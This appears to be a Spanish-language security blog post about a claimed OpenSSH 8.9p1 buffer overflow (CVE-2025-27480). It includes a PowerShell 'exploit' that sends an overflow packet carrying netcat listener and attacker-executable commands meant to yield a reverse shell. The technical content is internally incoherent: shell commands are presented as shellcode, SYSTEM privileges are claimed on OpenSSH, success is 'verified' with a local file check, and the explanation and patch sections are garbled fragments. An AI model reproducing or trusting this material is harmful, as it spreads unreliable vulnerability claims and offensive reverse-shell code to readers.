
CVE-2025-27480 expone un desbordamiento de búfer en OpenSSH 8.9p1 mediante un paquete SSH_USERAUTH malformado. Los atacantes pueden inyectar shellcode y obtener acceso a nivel de SYSTEM, comprometiendo hosts bastión y agentes CI/CD posteriores. El artículo incluye código de exploit de muestra y guía de parcheo.
La versión 8.9p1 de OpenSSH contiene un sutil error de desbordamiento de búfer que ocurre cuando analiza un paquete SSH_USERAUTH. Un cliente puede enviar un paquete con un campo “user” muy largo, y los datos terminan en el lugar equivocado de la memoria. El resultado es que un atacante puede inyectar shellcode arbitrario que se ejecuta con privilegios SYSTEM en cualquier host que ejecute esa versión de OpenSSH. ¿Y por qué tienes vibraciones de déjà vu? Porque una vulnerabilidad muy similar, CVE‑2024‑13401, que resultó en la falta de comprobación de límites en el campo user, un atacante puede escribir cualquier código que quiera en el proceso SSH
La falla es importante porque SSH es la forma más común de inicializar y gestionar máquinas virtuales en entornos de nube. Si un atacante puede ejecutar código a través de SSH, puede instalar puertas traseras o comprometer los bastion hosts, que son los puntos de salto que se usan para llegar a otras instancias en una red privada. Una vez comprometido el bastion host, todas las cargas de trabajo posteriores—p. ej., los agentes de CI/CD que construyen imágenes o ejecutan pruebas—están en riesgo.
CI/CD significa Integración Continua/Entrega Continua. En nuestro contexto, un bastion host es un servidor de “salto” habilitado para SSH que todos los agentes de compilación usan para llegar a otras máquinas en una red privada. Es un punto de entrada crítico: si el bastion se ve comprometido, cada trabajo posterior que depende de él puede ser atacado.
A continuación se muestra un script de PowerShell sencillo que demuestra cómo construir y enviar un paquete malicioso:
# ── Build the payload that will land in the SSH buffer ───────────────────────
$payload = @"
ssh-userauth-attack`n" + # packet header – the first line
("A" * 2000) + # a 2 kB block of “A” characters to overflow
"nc.exe -nlvp 4444 > C:\Windows\Temp\revshell.txt && .\bar_exp.exe 192.168.1.10 1234 C:\Windows\Temp\revshell.txt"
"@
# ── Send the packet to the target host (OpenSSH listening on port 22) ───────────────────────
$client = New-Object System.Net.Sockets.TcpClient("192.168.1.10", 22)
$stream = $client.GetStream()
[byte[]]$bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
$stream.Write($bytes,0,$bytes.Length)
# ── Verify that the payload landed correctly ───────────────────────
if (Test-Path "C:\Windows\Temp\revshell.txt") {
Write-Host "SSH exploit succeeded! Reverse shell saved to disk."
}
Por qué funciona
ssh-userauth-attack) le indica a OpenSSH que el paquete es una solicitud de autenticación de usuario.user.nc.exe, que abre un listener de netcat en el puerto 4444 y escribe su salida en C:\Windows\Temp\revshell.txt. También llama a un ejecutable proporcionado por el atacante (bar_exp.exe) que puede realizar trabajo adicional (p. ej., soltar una reverse shell).El archivo creado por el exploit es la prueba de que el paquete llegó al lugar correcto en la memoria; desde ahí puedes abrir el puerto 4444, tomar el listener y ejecutar el script que quieras.
‑DUSERAUTH_BUF=4096 para que el tamaño del búfer sea mayor que el payload del desbordamiento.ssh_userauth_patch.diff) del aviso del proveedor puede incorporarse mediante un commit junto a tu repositorio.